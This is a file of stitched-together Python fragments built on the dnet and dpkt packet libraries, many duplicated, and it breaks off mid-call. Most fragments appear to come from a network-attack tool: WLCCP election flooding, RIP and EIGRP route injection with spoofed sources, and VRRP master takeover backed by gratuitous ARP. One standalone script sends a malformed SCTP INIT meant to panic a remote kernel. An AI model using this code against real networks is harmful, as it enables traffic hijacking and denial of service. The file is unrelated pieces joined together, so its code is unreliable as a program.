def run(self):
self.parent.log("WLCCP: Election Thread started")
header = wlccp_header(0xc1, 0x0, 0x8003, 0x41, 0x0, 0x2800, 0x0, dnet.eth_aton("00:00:00:00:00:00"), 0x2, dnet.eth_aton(self.mac))
h_data = header.render("%s\x00\x01\x00\x00\xff\x00%s\x00\x00\x00\x00\x00\x02\x00\x00\x00\x05%s%s%s%s%s%s%s%s"
% ( dnet.eth_aton(self.mac),
dnet.eth_aton(self.mac),
self.BLOB1,
dnet.eth_aton(self.mac),
dnet.ip_aton(self.ip),
self.BLOB2,
dnet.ip_aton(self.ip),
self.BLOB3,
self.BLOB4,
self.BLOB5
) )
data = dnet.eth_pack_hdr(dnet.eth_aton(self.WLCCP_DST_MAC), dnet.eth_aton(self.mac), socket.htons(self.WLCCP_ETH_TYPE)) + h_data
while self.running:
if self.parent.dnet:
self.parent.dnet.send(data)
for x in xrange(self.delay):
if not self.running:
break
time.sleep(1)
self.parent.log("WLCCP: Election Thread terminated")
def Setup(self):
self.name = "SF|SR Probe to Closed Port"
self.expect = "detect.output.4"
# Packet 1
payload = TCP(sport=555, dport=79, seq=10000,
flags=dnet.TH_SYN|dnet.TH_RST)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.0.10"),
id=5624,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
# Packet 2
payload = TCP(sport=556, dport=79, seq=10000,
flags=dnet.TH_SYN|dnet.TH_FIN)
ip = IP(src=dnet.ip_aton("192.0.2.1"),
dst=dnet.ip_aton("192.18.0.10"),
id=5625,
p=dnet.IP_PROTO_TCP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
def __init__(self,
next_hop=None,
delay=None,
bandwidth=None,
mtu=None,
hop_count=None,
reliability=None,
load=None,
prefix=None,
dest=None):
eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_INTERNAL_ROUTE)
if next_hop:
self.next_hop = dnet.ip_aton(next_hop)
else:
self.next_hop = next_hop
self.delay = delay
self.bandwidth = bandwidth
self.mtu = mtu
self.hop_count = hop_count
self.reliability = reliability
self.load = load
self.prefix = prefix
if dest:
self.dest = dnet.ip_aton(dest)
else:
self.dest = dest
def run(self):
self.parent.log("RIP: Thread started")
timer = 15
while self.running:
if timer == 15:
timer = 0
rlist = []
for ip in self.parent.routes:
(iter, mask, nh, metrik) = self.parent.routes[ip]
rlist.append(rip_entry(rip_entry.AF_INET, 0, dnet.ip_aton(ip), dnet.ip_aton(mask), dnet.ip_aton(nh), int(metrik)))
msg = rip_message(rip_message.COMMAND_RESPONSE, rlist)
data = msg.render()
for dst in self.parent.hosts:
udp_hdr = dpkt.udp.UDP( sport=RIP_PORT,
dport=RIP_PORT,
data=data
)
udp_hdr.ulen += len(udp_hdr.data)
ip_hdr = dpkt.ip.IP( ttl=2,
p=dpkt.ip.IP_PROTO_UDP,
src=self.parent.ip,
dst=dnet.ip_aton(RIP_MULTICAST_ADDRESS),
data=str(udp_hdr)
)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(RIP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr)
)
self.parent.dnet.send(str(eth_hdr))
timer = timer + 1
time.sleep(1)
self.parent.log("RIP: Thread terminated")
def __init__(
self,
next_hop=None,
delay=None,
bandwidth=None,
mtu=None,
hop_count=None,
reliability=None,
load=None,
prefix=None,
dest=None,
):
eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_INTERNAL_ROUTE)
if next_hop:
self.next_hop = dnet.ip_aton(next_hop)
else:
self.next_hop = next_hop
self.delay = delay
self.bandwidth = bandwidth
self.mtu = mtu
self.hop_count = hop_count
self.reliability = reliability
self.load = load
self.prefix = prefix
if dest:
self.dest = dnet.ip_aton(dest)
else:
self.dest = dest
def arp_request(ipaddr):
sha_str = str(dnet.intf().get(ifname)['link_addr'])
sha = dnet.eth_aton(sha_str)
spa_str = str(dnet.intf().get(ifname)['addr']).split("/")[0]
spa = dnet.ip_aton(spa_str)
tha = dnet.ETH_ADDR_BROADCAST
tpa = dnet.ip_aton(ipaddr)
pkt = ip_header(tha,sha,'\x08\x06')
pkt += arp_header('\x00\x01\x08\x00\x06\x04','\x00\x01', sha, spa, '\x00\x00\x00\x00\x00\x00', tpa)
interface.send(pkt)
def arp_request(ipaddr):
sha_str = str(dnet.intf().get(ifname)['link_addr'])
sha = dnet.eth_aton(sha_str)
spa_str = str(dnet.intf().get(ifname)['addr']).split("/")[0]
spa = dnet.ip_aton(spa_str)
tha = dnet.ETH_ADDR_BROADCAST
tpa = dnet.ip_aton(ipaddr)
pkt = ip_header(tha, sha, '\x08\x06')
pkt += arp_header('\x00\x01\x08\x00\x06\x04', '\x00\x01', sha, spa,
'\x00\x00\x00\x00\x00\x00', tpa)
interface.send(pkt)
def Setup(self):
self.name = "Ping"
self.expect = "gen.output.1"
payload = ICMP(type = 8, data=ICMP.Echo(id=123, seq=1, data="12345690"))
ip = IP(src=dnet.ip_aton("192.0.2.254"),
dst=dnet.ip_aton("192.18.0.10"),
id=5624,
p=dnet.IP_PROTO_ICMP)
ip.data = payload
ip.len += len(ip.data)
self.packets.append(ip)
def update_devices(self):
self.devices = {}
devs = pcap.findalldevs()
for (name, descr, addr, flags) in devs:
try:
test = dnet.eth(name)
mac = test.get()
self.devices[name] = {
'mac': mac,
'ip4': [],
'ip6': [],
'descr': descr,
'flags': flags
}
except:
pass
else:
if len(addr) > 1:
for (ip, mask, net, gw) in addr:
try:
dnet.ip_aton(ip)
addr_dict = {}
addr_dict['ip'] = ip
addr_dict['mask'] = mask
addr_dict['net'] = net
addr_dict['gw'] = gw
self.devices[name]['ip4'].append(addr_dict)
except:
pass
try:
dnet.ip6_aton(ip)
addr_dict = {}
addr_dict['ip'] = ip
if PLATFORM == "Windows" and mask is None:
addr_dict['mask'] = "ffff:ffff:ffff:ffff::"
else:
addr_dict['mask'] = mask
addr_dict['net'] = net
addr_dict['gw'] = gw
if ip.startswith("fe80:"):
addr_dict['linklocal'] = True
else:
addr_dict['linklocal'] = False
self.devices[name]['ip6'].append(addr_dict)
except:
pass
else:
#????
pass
def hello(self):
timer = DEFAULT_HOLD_TIME
while self.running:
if timer == DEFAULT_HOLD_TIME:
timer = 0
params = eigrp_param(1, 0, 1, 0, 0, 15)
version = eigrp_version(self.parent.ios_ver,
self.parent.eigrp_ver) #(0xc02, 0x300)
args = [params, version]
if self.auth:
args.insert(0, self.auth)
msg = eigrp_packet(eigrp_packet.EIGRP_OPTCODE_HELLO, 0, 0, 0,
self.as_num, args)
data = msg.render()
if not self.parent.spoof:
self.send_multicast(data)
else:
ip_hdr = dpkt.ip.IP(
ttl=2,
p=dpkt.ip.IP_PROTO_EIGRP,
src=self.parent.spoof,
dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS),
data=data)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton(EIGRP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr))
self.parent.dnet.send(str(eth_hdr))
timer += 1
time.sleep(1)
def input_udp(self, eth, ip, udp, timestamp):
if ip.dst == dnet.ip_aton(RIP_MULTICAST_ADDRESS) and ip.src != self.ip:
if ip.src not in self.hosts:
src = dnet.ip_ntoa(ip.src)
iter = self.host_treestore.append(None, [src])
self.log("RIP: Got new host %s" % (src))
self.hosts[ip.src] = (iter, src)
msg = rip_message()
msg.parse(udp.data)
for i in msg.entries:
nh = dnet.ip_ntoa(i.nh)
if nh == "0.0.0.0":
nh = src
self.host_treestore.append(iter, ["%s/%s via %s metric %d" % (dnet.ip_ntoa(i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)])
else:
(iter, src) = self.hosts[ip.src]
msg = rip_message(None, [])
msg.parse(udp.data)
path = self.host_treestore.get_path(iter)
expanded = self.host_treeview.row_expanded(path)
child = self.host_treestore.iter_children(iter)
while child:
self.host_treestore.remove(child)
child = self.host_treestore.iter_children(iter)
for i in msg.entries:
nh = dnet.ip_ntoa(i.nh)
if nh == "0.0.0.0":
nh = src
self.host_treestore.append(iter, ["%s/%s via %s metric %d" % (dnet.ip_ntoa(i.addr), dnet.ip_ntoa(i.mask), nh, i.metric)])
if expanded:
self.host_treeview.expand_row(path, False)
def hello(self):
timer = DEFAULT_HOLD_TIME
while self.running:
if timer == DEFAULT_HOLD_TIME:
timer = 0
params = eigrp_param(1, 0, 1, 0, 0, 15)
version = eigrp_version(self.parent.ios_ver, self.parent.eigrp_ver) # (0xc02, 0x300)
args = [params, version]
if self.auth:
args.insert(0, self.auth)
msg = eigrp_packet(eigrp_packet.EIGRP_OPTCODE_HELLO, 0, 0, 0, self.as_num, args)
data = msg.render()
if not self.parent.spoof:
self.send_multicast(data)
else:
ip_hdr = dpkt.ip.IP(
ttl=2,
p=dpkt.ip.IP_PROTO_EIGRP,
src=self.parent.spoof,
dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS),
data=data,
)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton(EIGRP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr),
)
self.parent.dnet.send(str(eth_hdr))
timer += 1
time.sleep(1)
def on_spoof_togglebutton_toggled(self, btn):
if btn.get_property("active"):
self.spoof = dnet.ip_aton(self.spoof_entry.get_text())
self.spoof_entry.set_property("sensitive", False)
else:
self.spoof_entry.set_property("sensitive", True)
self.spoof = False
def run(self):
self.parent.log("VRRP-3: Thread started")
while self.running:
for i in self.parent.peers:
(iter, pkg, state, arp) = self.parent.peers[i]
if state:
src_mac = dnet.eth_aton("00:00:5e:00:01:%02x" % (pkg.id))
vrrp = vrrp_packet(pkg.id, 255, pkg.auth_type, pkg.auth_data, 1, pkg.ips)
data = vrrp.render()
ip_hdr = dpkt.ip.IP( ttl=255,
p=dpkt.ip.IP_PROTO_VRRP,
src=self.parent.ip,
dst=dnet.ip_aton(VRRP3_MULTICAST_ADDRESS),
data=data
)
ip_hdr.len += len(ip_hdr.data)
ip_hdr.data = vrrp.build_checksum(ip_hdr.data, ip_hdr)
eth_hdr = dpkt.ethernet.Ethernet( dst=dnet.eth_aton(VRRP3_MULTICAST_MAC),
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr)
)
self.parent.dnet.send(str(eth_hdr))
if arp:
brdc_mac = dnet.eth_aton("ff:ff:ff:ff:ff:ff")
stp_uplf_mac = dnet.eth_aton("01:00:0c:cd:cd:cd")
src_mac = self.parent.mac
for j in pkg.ips:
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=j,
tha=brdc_mac,
tpa=j
)
eth_hdr = dpkt.ethernet.Ethernet( dst=brdc_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
arp_hdr = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REPLY,
sha=src_mac,
spa=j,
tha=stp_uplf_mac,
tpa=j
)
eth_hdr = dpkt.ethernet.Ethernet( dst=stp_uplf_mac,
src=src_mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp_hdr)
)
self.parent.dnet.send(str(eth_hdr))
self.parent.peers[i] = (iter, pkg, state, arp - 1)
time.sleep(1)
self.parent.log("VRRP-3: Thread terminated")
def on_spoof_togglebutton_toggled(self, btn):
if btn.get_property("active"):
self.spoof = dnet.ip_aton(self.spoof_entry.get_text())
self.spoof_entry.set_property("sensitive", False)
else:
self.spoof_entry.set_property("sensitive", True)
self.spoof = False
def set_ip(self, ip, mask):
network = str(IPy.IP("%s/%s" % (ip, mask), make_net=True))
if self.ui == 'gtk':
self.scan_network_entry.set_text(network)
elif self.ui == 'urw':
self.scan_network_edit.set_edit_text(network)
self.ip = dnet.ip_aton(ip)
def on_release_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW))
self.peers[peer]["state"] = False
model.set_value(iter, self.STORE_STATE_ROW, "Released")
def on_release_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW))
self.peers[peer]["state"] = False
model.set_value(iter, self.STORE_STATE_ROW, "Released")
def input_ip(self, eth, ip, timestamp):
if ip.dst == dnet.ip_aton("224.0.0.10"):
if ip.src != self.address and ip.src != self.spoof:
self.disp_multicast(str(ip.data), eth.src, ip.src)
if self.listen_for_auth and ip.src == self.address:
self.disp_auth(str(ip.data))
elif ip.dst == self.address or ip.dst == self.spoof:
self.disp_unicast(str(ip.data), eth.src, ip.src)
def input_ip(self, eth, ip, timestamp):
if ip.dst == dnet.ip_aton("224.0.0.10"):
if ip.src != self.address and ip.src != self.spoof:
self.disp_multicast(str(ip.data), eth.src, ip.src)
if self.listen_for_auth and ip.src == self.address:
self.disp_auth(str(ip.data))
elif ip.dst == self.address or ip.dst == self.spoof:
self.disp_unicast(str(ip.data), eth.src, ip.src)
def on_release_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW))
(iter, pkg, run, arp) = self.peers[peer]
self.peers[peer] = (iter, pkg, False, arp)
model.set_value(iter, self.LIST_STATE_ROW, "Released")
def on_release_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW))
(iter, pkg, run, arp) = self.peers[peer]
self.peers[peer] = (iter, pkg, False, arp)
model.set_value(iter, self.LIST_STATE_ROW, "Released")
def on_update_button_clicked(self, data):
page = self.notebook.get_current_page()
if page == 0:
msg = eigrp_packet(
eigrp_packet.EIGRP_OPTCODE_UPDATE,
eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0,
int(self.as_spinbutton.get_value()), [
eigrp_internal_route(
self.next_hop_entry.get_text(),
int(self.delay_spinbutton.get_value()),
int(self.bandwidth_spinbutton.get_value()),
int(self.mtu_spinbutton.get_value()),
int(self.hop_count_spinbutton.get_value()),
int(self.reliability_spinbutton.get_value()),
int(self.load_spinbutton.get_value()),
int(self.prefix_spinbutton.get_value()),
self.destination_entry.get_text())
])
elif page == 1:
msg = eigrp_packet(
eigrp_packet.EIGRP_OPTCODE_UPDATE,
eigrp_packet.EIGRP_FLAGS_COND_RECV, 0, 0,
int(self.as_spinbutton.get_value()), [
eigrp_external_route(
self.next_hop_entry1.get_text(),
self.orig_router_entry.get_text(),
int(self.orig_as_spinbutton.get_value()), 0,
int(self.external_metric_spinbutton.get_value()),
int(self.external_id_spinbutton.get_value()), 0,
int(self.delay_spinbutton1.get_value()),
int(self.bandwidth_spinbutton1.get_value()),
int(self.mtu_spinbutton1.get_value()),
int(self.hop_count_spinbutton1.get_value()),
int(self.reliability_spinbutton1.get_value()),
int(self.load_spinbutton1.get_value()),
int(self.prefix_spinbutton1.get_value()),
self.destination_entry1.get_text())
])
elif page == 2:
buffer = self.update_textview.get_buffer()
text = buffer.get_text(buffer.get_start_iter(),
buffer.get_end_iter())
if text == "":
return
exec("msg = " + text)
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
parent = model.iter_parent(model.get_iter(i))
if not parent:
parent = model.get_iter(i)
host = model.get_value(parent, self.TREE_HOST_ROW)
self.log("EIGRP: Sending update to %s" % (host))
peer = dnet.ip_aton(host)
self.peers[peer].update(msg)
def update_devices(self):
self.devices = {}
devs = pcap.findalldevs()
for (name, descr, addr, flags) in devs:
try:
test = dnet.eth(name)
mac = test.get()
self.devices[name] = { 'mac' : mac, 'ip4' : [], 'ip6' : [], 'descr' : descr, 'flags' : flags }
except:
pass
else:
if len(addr) > 1:
for (ip, mask, net, gw) in addr:
try:
dnet.ip_aton(ip)
addr_dict = {}
addr_dict['ip'] = ip
addr_dict['mask'] = mask
addr_dict['net'] = net
addr_dict['gw'] = gw
self.devices[name]['ip4'].append(addr_dict)
except:
pass
try:
dnet.ip6_aton(ip)
addr_dict = {}
addr_dict['ip'] = ip
if PLATFORM == "Windows" and mask is None:
addr_dict['mask'] = "ffff:ffff:ffff:ffff::"
else:
addr_dict['mask'] = mask
addr_dict['net'] = net
addr_dict['gw'] = gw
if ip.startswith("fe80:"):
addr_dict['linklocal'] = True
else:
addr_dict['linklocal'] = False
self.devices[name]['ip6'].append(addr_dict)
except:
pass
else:
#????
pass
def on_del_button_clicked(self, data):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
parent = model.iter_parent(model.get_iter(i))
if not parent:
parent = model.get_iter(i)
host = model.get_value(parent, self.TREE_HOST_ROW)
peer = dnet.ip_aton(host)
self.peers[peer].quit()
def on_del_button_clicked(self, data):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
parent = model.iter_parent(model.get_iter(i))
if not parent:
parent = model.get_iter(i)
host = model.get_value(parent, self.TREE_HOST_ROW)
peer = dnet.ip_aton(host)
self.peers[peer].quit()
def __init__(
self,
next_hop=None,
originating_router=None,
originating_as=None,
arbitrary_tag=None,
external_metric=None,
external_proto=None,
flags=None,
delay=None,
bandwidth=None,
mtu=None,
hop_count=None,
reliability=None,
load=None,
prefix=None,
dest=None,
):
eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_EXTERNAL_ROUTE)
if next_hop:
self.next_hop = dnet.ip_aton(next_hop)
else:
self.next_hop = next_hop
if originating_router:
self.originating_router = dnet.ip_aton(originating_router)
else:
self.originating_router = originating_router
self.originating_as = originating_as
self.arbitrary_tag = arbitrary_tag
self.external_metric = external_metric
self.external_proto = external_proto
self.flags = flags
self.delay = delay
self.bandwidth = bandwidth
self.mtu = mtu
self.hop_count = hop_count
self.reliability = reliability
self.load = load
self.prefix = prefix
if dest:
self.dest = dnet.ip_aton(dest)
else:
self.dest = dest
def test_ip_misc(self):
n = '\x01\x02\x03\x04'
a = '1.2.3.4'
self.failUnless(dnet.ip_ntoa(n) == a)
self.failUnless(dnet.ip_aton(a) == n)
dst = '\x05\x06\x07\x08'
hdr = dnet.ip_pack_hdr(0, dnet.IP_HDR_LEN, 666, 0, 255,
dnet.IP_PROTO_UDP, n, dst)
assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08'
hdr = dnet.ip_checksum(hdr)
assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\xa9+\x01\x02\x03\x04\x05\x06\x07\x08'
def test_ip_misc(self):
n = '\x01\x02\x03\x04'
a = '1.2.3.4'
self.failUnless(dnet.ip_ntoa(n) == a)
self.failUnless(dnet.ip_aton(a) == n)
dst = '\x05\x06\x07\x08'
hdr = dnet.ip_pack_hdr(0, dnet.IP_HDR_LEN, 666, 0, 255,
dnet.IP_PROTO_UDP, n, dst)
assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08'
hdr = dnet.ip_checksum(hdr)
assert hdr == 'E\x00\x00\x14\x02\x9a\x00\x00\xff\x11\xa9+\x01\x02\x03\x04\x05\x06\x07\x08'
def __init__(self,
next_hop=None,
originating_router=None,
originating_as=None,
arbitrary_tag=None,
external_metric=None,
external_proto=None,
flags=None,
delay=None,
bandwidth=None,
mtu=None,
hop_count=None,
reliability=None,
load=None,
prefix=None,
dest=None):
eigrp_tlv.__init__(self, eigrp_tlv.EIGRP_TYPE_EXTERNAL_ROUTE)
if next_hop:
self.next_hop = dnet.ip_aton(next_hop)
else:
self.next_hop = next_hop
if originating_router:
self.originating_router = dnet.ip_aton(originating_router)
else:
self.originating_router = originating_router
self.originating_as = originating_as
self.arbitrary_tag = arbitrary_tag
self.external_metric = external_metric
self.external_proto = external_proto
self.flags = flags
self.delay = delay
self.bandwidth = bandwidth
self.mtu = mtu
self.hop_count = hop_count
self.reliability = reliability
self.load = load
self.prefix = prefix
if dest:
self.dest = dnet.ip_aton(dest)
else:
self.dest = dest
def main():
if len(sys.argv) != 3:
usage()
host = sys.argv[1]
port = int(sys.argv[2])
try:
sock = dnet.ip()
intf = dnet.intf()
except OSError:
err('requires root privileges for raw socket access')
dst_addr = socket.gethostbyname(host)
interface = intf.get_dst(dnet.addr(dst_addr))
src_addr = interface['addr'].ip
msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))
invalid = ''
invalid += '\x20\x10\x11\x73'
invalid += '\x00\x00\xf4\x00'
invalid += '\x00\x05'
invalid += '\x00\x05'
invalid += '\x20\x10\x11\x73'
for i in xrange(20):
invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'
init = dpkt.sctp.Chunk()
init.type = dpkt.sctp.INIT
init.data = invalid
init.len = len(init)
sctp = dpkt.sctp.SCTP()
sctp.sport = 0x1173
sctp.dport = port
sctp.data = [ init ]
ip = dpkt.ip.IP()
ip.src = src_addr
ip.dst = dnet.ip_aton(dst_addr)
ip.p = dpkt.ip.IP_PROTO_SCTP
ip.data = sctp
ip.len = len(ip)
print `ip`
pkt = dnet.ip_checksum(str(ip))
sock.send(pkt)
msg('kernel should have panicked on remote host %s' % (dst_addr))
def main():
if len(sys.argv) != 3:
usage()
host = sys.argv[1]
port = int(sys.argv[2])
try:
sock = dnet.ip()
intf = dnet.intf()
except OSError:
err('requires root privileges for raw socket access')
dst_addr = socket.gethostbyname(host)
interface = intf.get_dst(dnet.addr(dst_addr))
src_addr = interface['addr'].ip
msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port))
invalid = ''
invalid += '\x20\x10\x11\x73'
invalid += '\x00\x00\xf4\x00'
invalid += '\x00\x05'
invalid += '\x00\x05'
invalid += '\x20\x10\x11\x73'
for i in xrange(20):
invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff'
init = dpkt.sctp.Chunk()
init.type = dpkt.sctp.INIT
init.data = invalid
init.len = len(init)
sctp = dpkt.sctp.SCTP()
sctp.sport = 0x1173
sctp.dport = port
sctp.data = [init]
ip = dpkt.ip.IP()
ip.src = src_addr
ip.dst = dnet.ip_aton(dst_addr)
ip.p = dpkt.ip.IP_PROTO_SCTP
ip.data = sctp
ip.len = len(ip)
print ` ip `
pkt = dnet.ip_checksum(str(ip))
sock.send(pkt)
msg('kernel should have panicked on remote host %s' % (dst_addr))
def send_multicast(self, data):
ip_hdr = dpkt.ip.IP(ttl=2,
p=dpkt.ip.IP_PROTO_EIGRP,
src=self.parent.address,
dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS),
data=data)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton(EIGRP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr))
self.parent.dnet.send(str(eth_hdr))
def on_goodbye_button_clicked(self, data):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
if len(paths) == 1:
parent = model.iter_parent(model.get_iter(paths[0]))
if not parent:
parent = model.get_iter(paths[0])
host = model.get_value(parent, self.TREE_HOST_ROW)
peer = dnet.ip_aton(host)
self.peers[peer].msg = None
self.goodbye_thread = eigrp_goodbye(self, peer, self.peers[peer].as_num)
self.goodbye_label.set_label("Sending Goodbye Messages to %s..." % (host))
self.goodbye_window.show_all()
self.goodbye_thread.start()
self.log("EIGRP: Goodbye thread started for %s" % (host))
def on_get_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW))
(iter, pkg, run, arp) = self.peers[peer]
if self.arp_checkbutton.get_active():
arp = 3
else:
arp = 0
self.peers[peer] = (iter, pkg, True, arp)
model.set_value(iter, self.LIST_STATE_ROW, "Taken")
if not self.thread.is_alive():
self.thread.start()
def on_get_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW))
if self.arp_checkbutton.get_active():
arp = 3
else:
arp = 0
self.peers[peer]["state"] = True
self.peers[peer]["arp"] = arp
model.set_value(iter, self.STORE_STATE_ROW, "Taken")
if not self.thread.is_alive():
self.thread.start()
def run(self):
self.parent.log("RIP: Thread started")
timer = 15
while self.running:
if timer == 15:
timer = 0
rlist = []
for ip in self.parent.routes:
(iter, mask, nh, metrik) = self.parent.routes[ip]
rlist.append(
rip_entry(rip_entry.AF_INET, 0, dnet.ip_aton(ip),
dnet.ip_aton(mask), dnet.ip_aton(nh),
int(metrik)))
msg = rip_message(rip_message.COMMAND_RESPONSE, rlist)
data = msg.render()
for dst in self.parent.hosts:
udp_hdr = dpkt.udp.UDP(sport=RIP_PORT,
dport=RIP_PORT,
data=data)
udp_hdr.ulen += len(udp_hdr.data)
ip_hdr = dpkt.ip.IP(
ttl=2,
p=dpkt.ip.IP_PROTO_UDP,
src=self.parent.ip,
dst=dnet.ip_aton(RIP_MULTICAST_ADDRESS),
data=str(udp_hdr))
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton(RIP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr))
self.parent.dnet.send(str(eth_hdr))
timer = timer + 1
time.sleep(1)
self.parent.log("RIP: Thread terminated")
def on_get_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.LIST_SRC_ROW))
(iter, pkg, run, arp) = self.peers[peer]
if self.arp_checkbutton.get_active():
arp = 3
else:
arp = 0
self.peers[peer] = (iter, pkg, True, arp)
model.set_value(iter, self.LIST_STATE_ROW, "Taken")
if not self.thread.is_alive():
self.thread.start()
def on_get_button_clicked(self, btn):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
for i in paths:
iter = model.get_iter(i)
peer = dnet.ip_aton(model.get_value(iter, self.STORE_SRC_ROW))
if self.arp_checkbutton.get_active():
arp = 3
else:
arp = 0
self.peers[peer]["state"] = True
self.peers[peer]["arp"] = arp
model.set_value(iter, self.STORE_STATE_ROW, "Taken")
if not self.thread.is_alive():
self.thread.start()
def send_multicast(self, data):
ip_hdr = dpkt.ip.IP(
ttl=2,
p=dpkt.ip.IP_PROTO_EIGRP,
src=self.parent.address,
dst=dnet.ip_aton(EIGRP_MULTICAST_ADDRESS),
data=data,
)
ip_hdr.len += len(ip_hdr.data)
eth_hdr = dpkt.ethernet.Ethernet(
dst=dnet.eth_aton(EIGRP_MULTICAST_MAC),
src=self.parent.mac,
type=dpkt.ethernet.ETH_TYPE_IP,
data=str(ip_hdr),
)
self.parent.dnet.send(str(eth_hdr))
def scan(self, ips):
for i in ips:
arp = dpkt.arp.ARP( hrd=dpkt.arp.ARP_HRD_ETH,
pro=dpkt.arp.ARP_PRO_IP,
op=dpkt.arp.ARP_OP_REQUEST,
sha=self.mac,
spa=self.ip,
tpa=dnet.ip_aton(str(i))
)
eth = dpkt.ethernet.Ethernet( dst=dnet.eth_aton("ff:ff:ff:ff:ff:ff"),
src=self.mac,
type=dpkt.ethernet.ETH_TYPE_ARP,
data=str(arp)
)
self.dnet.eth.send(str(eth))
time.sleep(0.0001)
def on_goodbye_button_clicked(self, data):
select = self.treeview.get_selection()
(model, paths) = select.get_selected_rows()
if len(paths) == 1:
parent = model.iter_parent(model.get_iter(paths[0]))
if not parent:
parent = model.get_iter(paths[0])
host = model.get_value(parent, self.TREE_HOST_ROW)
peer = dnet.ip_aton(host)
self.peers[peer].msg = None
self.goodbye_thread = eigrp_goodbye(self, peer,
self.peers[peer].as_num)
self.goodbye_label.set_label("Sending Goodbye Messages to %s..." %
(host))
self.goodbye_window.show_all()
self.goodbye_thread.start()
self.log("EIGRP: Goodbye thread started for %s" % (host))
def on_add_button_clicked(self, data):
dialog = gtk.MessageDialog(
self.parent.window,
gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT,
gtk.MESSAGE_QUESTION, gtk.BUTTONS_OK_CANCEL,
"Enter IP Address to add:")
entry = gtk.Entry(0)
dialog.vbox.pack_start(entry)
entry.show()
ret = dialog.run()
dialog.destroy()
if ret == gtk.RESPONSE_OK:
try:
peer = entry.get_text()
arp = dnet.arp()
mac = arp.get(dnet.addr(peer))
if not mac:
raise Exception("Unable to get mac address")
self.add_peer(mac.data, dnet.ip_aton(peer),
int(self.as_spinbutton.get_value()))
except Exception, e:
self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def on_add_button_clicked(self, data):
dialog = gtk.MessageDialog(
self.parent.window,
gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT,
gtk.MESSAGE_QUESTION,
gtk.BUTTONS_OK_CANCEL,
